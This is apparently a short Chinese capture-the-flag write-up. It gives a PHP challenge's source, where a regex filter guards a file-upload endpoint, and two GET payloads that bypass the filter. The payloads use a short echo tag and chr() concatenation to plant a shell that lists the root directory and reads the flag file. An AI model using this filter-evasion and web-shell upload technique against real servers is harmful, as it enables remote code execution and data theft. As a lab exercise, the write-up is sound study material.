摘要
trike
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ die('hacker!!!'); }else{ return $input; } }
function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
|
有过滤,针对数组检查,但幸好不算严……
短标签+拼接
flag
?action=upload&data=<?=system(chr(108).chr(115).chr(32).chr(47))?>
cat
?action=upload&data=<?=system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(49).chr(49).chr(49).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(108).chr(97).chr(103))?>